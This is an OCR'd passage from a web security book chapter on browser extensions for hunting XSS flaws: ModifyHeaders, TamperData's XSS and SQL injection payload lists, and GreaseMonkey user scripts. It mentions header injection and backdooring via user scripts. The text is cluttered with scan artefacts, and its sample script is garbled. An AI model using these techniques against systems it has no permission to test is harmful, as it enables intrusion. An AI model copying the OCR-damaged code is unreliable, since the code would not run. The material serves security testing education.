ModifyHeaders is another Firefox extension that is a must have for every security researcher. Its purpose is to dynamically add or modify headers for every generated request.
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
|
|
||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
|
||||
|
40 Chapter 2 • The XSS Discovery Toolkit
|
||||
|
|
||||
|
This is a handy feature that can be used in many situations. Figure 2.25 shows the ModifyHeaders extension main window that you can access via Tools | Modify Headers.
Figure 2.25 Modify Headers Main Dialog Box
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
The top part of the window is where you can add, remove, or modify headers. Simply choose an action from the actions drop-down box on the left.You need to put the header name and the header value in the subsequent fields and press Add.You can Modify Headers with a single rule added in its actions list (see Figure 2.26).
Figure 2.26 shows the Modify Headers window with a single active action. As long as the window is open, this action will replace every instance of the Accepted charset header value with ‘window-1258.utf-8;q-0.7.*;q=0.7’.
Another, illustration as to how this tool can be used is where you are testing an internal Web application that is exported to an external interface. Internal Web applications usually use shorthand names that break render features because these names do not exist online.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
The XSS Discovery Toolkit • Chapter 2 41
|
||
|
|
||
|
Figure 2.26 Modify Headers Add Header
|
||
|
|
||
![]() |
||
|
|
||
|
Let’s say that the internal Web application is configured to work on virtual host internOl. However, due to a configuration error, the application can be accessed from the public IP address of 212.22.22.89. If you simply go to http://212.22.22.89 you will be given an error string that says that the resource is not found. In simple terms, your browser did not specify which virtual host needs to be used in order to make the application work. In order to specify the virtual host name you have to use the Host header. Figure 2.27 shows the Host header injected in the Modify Headers window.
Probably one of the most useful purposes of this extension is to locate XSS vulnerabilities that occur when different encodings are used. Keep in mind that XSS issues are not that straightforward, and if you cannot find a particular application vulnerability when using the default configuration of your browser, it may appear as such if you change a few things, like the accepted charset as discussed previously in this section.
|
||
|
|
||
|
|
||||
|
42 Chapter 2 • The XSS Discovery Toolkit
Figure 2.27 Injecting the Host Header with Modify Headers
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
TamperData
|
||||
|
|
||||
|
Another useful extension that you can put together with the LiveHTTPHeaders and ModifyHeaders extensions is TamperData. TamperData is a unique extension in a way that makes it easier for the security tester or attacker to modify their request before they have been submitted to the server. In a way this extension emulates several of LiveHTTPHeaders functionalities, but it also offers some additional features that you may find useful. TamperData can be downloaded http://tamperdata.mozdev.org/and installed similarly to all other Firefox extensions. To access the extension main window click on Tools | TamperData (Figure 2.28).
The TamperData window is quite intuitive. In order to start a tampering request, click on Start Tamper and then submit the form you are currently on. For example, in Figure 2.29 we tamper the request when submitting a contact form.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The XSS Discovery Toolkit • Chapter 2 43
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Figure 2.28 TamperData Main Dialog Box
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Figure 2.29 Tamper Request Confirmation Dialog Box
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
![]() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The extension asked for confirmation to tamper the request. Ignore it or abort it if you are not interested. If you click on Tamper, the following window appears (Figure 2.30).
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||
|
44
|
Chapter 2 • The XSS Discovery Toolkit
|
|||
|
|
||||
|
Figure 2.30 Tamper Parameters Dialog
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
From Figure 2.30 you can see that all details such as the request headers and parameters can be modified. You can type any information that you want to submit and click the OK button, however with time this may get tedious. As you have probably noticed, many XSS and SQL Injection vulnerabilities suffer similar problems (i.e., the attack vectors are the same. TamperData offers a feature where you can simply select an attack vector that you want to be included inside the specified field.That makes the bug hunting process a lot easier and quicker.
To choose a vector, right-click on the field name you want to tamper and select any of the lists after the second menu separator.You can pick from data, XSS and SQL vectors, as shown on Figure 2.31.
Once the vector is selected, you will notice that the attack string is automatically added as part of the request. Press the OK button to approve the request.
Like LiveHTTPHeaders, TamperData also records all requests that pass by your browser. You can easily get back to any of them and investigate them and replay them in the browser (Figure 2.32).
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
The XSS Discovery Toolkit • Chapter 2
|
45
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Figure 2.31 Select Attack Vector
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
![]() |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
Figure 2.32 TamperData Collected Request Window
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
||||
|
46 Chapter 2 • The XSS Discovery Toolkit
|
||||
|
|
||||
|
Of course, this is not all that TamperData has to offer. As you can probably guess, the only feature that differentiates this extension from LiveHTTPHeaders is the ability to select attack payloads. TamperData is designed to serve as a penetration-testing tool. Apart from being able to use the already built-in payload list, you can also supply your own from the Extension Configuration window. To access TamperData options, press Options on the main screen. You will be presented with a screen similar to Figure 2.33.
Figure 2.33 TamperData Options Dialog Box
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
In Figure 2.33, you can see that we can easily make new payload lists on the left side of the screen, and add payloads on the right side of the screen. We can easily export the list or import new ones.
In this section we sow that TamperData is indeed one of the best tools available that can help you when you are looking for XSS bugs.
|
||||
|
|
||||
|
GreaseMonkey
|
||||
|
|
||||
|
One of the oldest and easiest ways to customize a Web application for testing is to save a copy to your local system, update the path names from relative links to absolute names, and reload the page in your browser. While this method works in many cases, any site with complex JavaScript or AJAX will cause the local version to fail. To customize these types of sites, the pages must be modified on the fly This is where Firefox’s GreaseMonkey becomes a useful tool.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 47
|
||||
|
|
||||
|
GreaseMonkey is a type of “active browsing” component that is used to perform dynamic modifications on the currently accessed Web resource that can fix, patch, or add new functions into a Web application. .
GreaseMonkey formally calls these “User Scripts”, of which there are several repositories. The biggest and the most popular one can be found at www.userscripts.org (Figure 2.34). Be careful when downloading user scripts because, as you will learn later, they can be very dangerous.
In this section, we talk about GreaseMonkey and how we can use it to inspect sites for vulnerabilities, perform active exploitation, and install persistent backdoors.
|
||||
|
|
||||
|
Figure 2.34 userscript.org Is Probably the Largest User Script Repository
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
GreaseMonkey Internals
|
||||
|
|
||||
|
As we noted in the introduction, GreaseMonkey is a Firefox browser extension.You can install it like any other Firefox extension by visiting www.addons.mozilla.org and searching for “GreaseMonkey.” Click on the GreaseMonkey link that is returned, select Install now Install on the Software Installation window, and let the Firefox Add-on install. Finally, restart the Firefox browser. The easiest way to do that is to click on the Restart Firefox button from the “Add-on Installation” dialog box, which will close the browser and bring it back at the exact same state you left it.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
48 Chapter 2 • The XSS Discovery Toolkit
|
||||
|
|
||||
|
Once the extension is installed, you can access the GreaseMonkey main configuration window by either clicking on Tools | GreaseMonkey | Manage User Scripts..., or by right-clicking on the monkey icon in your status bar and choosing Manage User Scripts___.Figure 2.35 shows the “Manage User Scripts” dialog box with a few scripts installed.
|
||||
|
|
||||
|
Figure 2.35 GreaseMonkey User Script Manager
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
The Manage User Scripts dialog is the extension’s main interface. The left hand side list box contains the currently installed user scripts. In my case, I have “Password Composer” disabled (outlined in gray) and “HTTP-to-HTPS redirector” enabled. The right-hand side of the “Manage User Scripts” dialog box contains the currently selected user script information and the “include” and “exclude” URL list boxes.These boxes specify to which resource the selected script applies and to which it doesn’t. In our case, the “HTTP-to-HTTPS redirector” script executes on Web resources that begin with http://mail.google.com/, http://gmail.google.com/, http://login.yahoo.com/, and so forth. If you notice, each URL entry has a star (*) suffix.This is a wild-card character that specifies that the rest of the URL can contain any sequence of characters, or in general, it means that only the first part of the URL matters.
The bottom of the “Manage User Scripts” dialog box is for the Enabled check box and the Edit and Uninstall button, as shown on Figure 2.35.You can use this to uninstall scripts or edit them with your favorite text editor.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
|||||
|
The XSS Discovery Toolkit • Chapter 2
|
49
|
||||
|
|
|||||
|
As you may have noticed, GreaseMonkey does not have an obvious method to install user scripts. This is because GreaseMonkey installs scripts that are opened in the browser window and end with “.user.js”. Figure 2.36 shows script installation process in action.
|
|||||
|
|
|||||
|
Figure 2.36 GreaseMonkey Installation Dialog
|
|||||
|
|
|||||
![]() |
|||||
|
|
|||||
|
A couple of notes about Figure 2.36:The Show Script Source button lists the script source in a new browser tab. We highly recommend that you examine the source of any script before installing it. Since all user scripts must end with “.user.js”, it is trivial for a malicious Web site operator to force the installation dialog on pages that are not user scripts. For example, try the following URL in your browser: http://www.google.com#.user.js
|
|||||
|
|
|||||
|
Warning
|
|||||
|
|
|||||
|
Although user scripts seem to be reasonably safe, always investigate their code before using them. As we learned in previous chapters of this book, attackers can easily backdoor a user script and as such gain a persistent control over your browser. It is also worth mentioning that user scripts might be vulnerable to XSS also. This type of vulnerability may potentially expose your sensitive information to third-party organizations.
|
|||||
|
|
|||||
|
|
|
||||
|
|
|||||
|
|
||||
|
50 Chapter 2 • The XSS Discovery Toolkit
Creating and Installing User Scripts
As we noted earlier, GreaseMonkey is largely dependent on various naming and structural conventions. Every user script must have a head declaration that instructs GreaseMonkey about the script’s purpose and the URLs it applies to. Let’s have a look at the following example.
// Hello World
// TODO: Add more features
//
// ==UserScript==
// ©name Hello World
// ©namespace http://www.syngress.com/
// ©description changes the content of all hi elements to "Hello World!"
// ©include *
// ©exclude http://localhost/*
// ©exclude http://127.0.0.1/*
// ==/UserScript==
var his = document.body.getElementsByTagName('hi'); for (var i = 0; i < his.length; i++)
hls[i].innerHTML = 'Hello World!';
Save the source code listing into a file called “helloworld.user.js”. Open the file in your browser and approve the installation box. From now on, the “hello world” user script will replace the content of every H1 element with “Hello World!” on every page you visit.
Before diving into GreaseMonkey deeper, we must understand the basic structure of this user script. Every script has a special type of structure. At the bottom of the first comment block you must enter the user script header.Table 2.1 provides a description on GreaseMonkey header fields.
Table 2.1 GreaseMonkey Header Fields
Field Description
©name The script name as it will appear in the “Manage User
Scripts” dialog box.
©namespace The namespace defines the origin of the script.
©description This is the script description as it will appear in the “Manage
Users Scripts” dialog box and the “GreaseMonkey Installation” dialog box.
©include This field defines a URL to which the script apply. The star
“*” means all.
©exclude This field defines a URL to which the script doesn’t apply.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
The XSS Discovery Toolkit • Chapter 2 51
|
||
|
|
||
|
We mentioned that you can create scripts by clicking on Tools | GreaseMonkey | Create Script. Next, we will illustrate how you can dynamically create GreaseMonkey scripts right from your browser.
Take the ‘hello word’ user script code and paste it into your favorite URL encoder (e.g., http://meyerweb.com/eric/tools/dencoder/ ). Figure 2.37 provides an example.
Figure 2.37 Meyerweb URL Decoder/Encoder
|
||
|
|
||
![]() |
||
|
|
||
|
Click on the encode button and add the following line in front of the generated string:
data:text/javascript;charset=utf-8,
At the end of string attach the following:
//.user.js
The result should look like Figure 2.38.
Next, copy the generated string and paste it in your browser address bar and press Enter.You should be rewarded with the GreaseMonkey Installation dialog box asking you to confirm the installation. This is a small trick you can use to write scripts when you don’t have a text editor at hand.
|
||
|
|
||
|
|
||||
|
52 Chapter 2 • The XSS Discovery Toolkit Figure 2.38 URL Encoded String
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Now that we know what GreaseMonkey is and how it is used, we can explore some examples that show the true power of user scripts. As noted in the beginning of this chapter, GreaseMonkey provides various mechanisms that are very helpful when performing vulnerability assessments on Web applications.
In the following subsection we cover the “Postlnterpreter” and the “XSS Assistant” user scripts.These two examples clearly demonstrate the power of GreaseMonkey.
PostInterpreter
| ||||